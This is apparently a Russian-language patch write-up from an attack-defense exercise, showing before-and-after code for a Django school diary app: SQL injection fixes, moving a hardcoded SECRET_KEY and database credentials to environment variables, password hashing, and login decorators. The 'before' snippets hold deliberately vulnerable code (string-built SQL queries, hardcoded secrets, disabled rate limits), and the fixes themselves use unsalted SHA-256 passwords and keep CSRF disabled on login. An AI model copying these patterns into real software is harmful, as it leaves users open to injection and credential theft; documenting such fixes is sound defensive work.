<https://gitlab.polygon.team9/diary/-/commit/9db91b8dac79ce5f03cd26c951c4e375bcc3c4d6> <https://gitlab.polygon.team9/diary/-/commit/ee3902010f382575f8b1c7dd6ac964c6e766211b>

## 0 Убрали выключение проверок csrf

```
@csrf_exempt
```

## 1 используем env

```
SECRET_KEY = "Abqh4LSVdohqrlhtalvifAmEsymAvY9p"
```

```
SECRET_KEY = os.getenv('DJANGO_SECRET_KEY', 'SECRET_KEY')
или
```

```

SECRET_KEY = os.getenv('DJANGO_SECRET_KEY', 'SECRET_KEY')

SECRET_KEY = "Abqh4LSVdohqrlhtalvifAmEsymAvY9p"
# Замените на ваш секретный ключ
ALGORITHM = "HS256"
ACCESS_TOKEN_EXPIRE_MINUTES = 100000000000000000000
MAX_LOGIN_ATTEMPTS = 100000000000000000000
BLOCK_TIME_MINUTES = 0

SECRET_KEY = os.getenv('DJANGO_SECRET_KEY', 'SECRET_KEY') #
# Замените на ваш секретный ключ
ALGORITHM = "HS256"
ACCESS_TOKEN_EXPIRE_MINUTES = 60 * 10
MAX_LOGIN_ATTEMPTS = 3
BLOCK_TIME_MINUTES = 5

```

## 2 используем env

```

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': "postgres",
        'USER': "postgres",
        'PASSWORD': "postgres",
        'HOST': 'db',
        'PORT': '5432'
    }
}

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': os.getenv('POSTGRES_DB', 'postgres'),
        'USER': os.getenv('POSTGRES_USER', 'postgres'),
        'PASSWORD': os.getenv('POSTGRES_PASSWORD', 'postgres'),
        'HOST': os.getenv('POSTGRES_HOST', 'db'),
        'PORT': os.getenv('POSTGRES_PORT', '5432'),
    }
}

```

## 3 фикс sqli

```

@csrf_exempt
def user_login(request):
    if request.method == 'POST':
        username = request.POST.get('username')
        password = request.POST.get('password')
        with connection.cursor() as cursor:

```

```

        query = f"SELECT * FROM myapp_user WHERE login =
        '{username}' AND password = '{password}'"
        cursor.execute(query)
        user = cursor.fetchone()

    if user:
        # Небезопасная авторизация
        user = django_user.objects.get(username=username)
        login(request, user)
        return redirect("/")
    else:
        return render(request, 'mysite/login.html', {"message":
        "Ошибка входа"})
    return render(request, 'mysite/login.html')

@csrf_exempt
def user_login(request):
    if request.method == 'POST':
        username = request.POST.get('username')
        password = request.POST.get('password')

        hashed_password = sha256(password.encode()).hexdigest()

        with connection.cursor() as cursor:
            query = "SELECT * FROM myapp_user WHERE login =
            %s AND password = %s"
            cursor.execute(query, [username, hashed_password])
            user = cursor.fetchone()

        if user:
            django_user_obj =
            django_user.objects.get(username=username)
            login(request, django_user_obj)
            return redirect("/")
        else:
            return render(request, 'mysite/login.html', {"message":
            "Ошибка входа"})
    return render(request, 'mysite/login.html')

```

## 4 хешируем пароли

```

password=cd['password'],
password=sha256(cd['password'].encode()).hexdigest(),

```

## 5 расставили декораторы для ручек, которые требуют входа

@login\_required

## 6 фикс sqli

```
query = f"""
        INSERT INTO myapp_mark
        (mark, date, user_id, subject_id)
        VALUES ({mark_value}, '{date}',
        (SELECT id FROM myapp_user WHERE login =
        '{student_login}'),
        (SELECT id FROM myapp_subject WHERE name =
        '{sub_name}'))
        """
        cursor.execute(query)

query = """
        INSERT INTO myapp_mark
        (mark, date, user_id, subject_id)
        VALUES (%s, %s,
        (SELECT id FROM myapp_user WHERE login = %s),
        (SELECT id FROM myapp_subject WHERE name = %s))
        """
        cursor.execute(query, (mark_value, date,
        student_login, sub_name))

query1 = f"SELECT * FROM myapp_user WHERE surname LIKE '{query}'
        OR name LIKE '{query}'"
        cursor.execute(query1)

query1 = """
        SELECT * FROM myapp_user
        WHERE surname LIKE %s OR name LIKE %s
        """
        cursor.execute(query1, (query, query))
```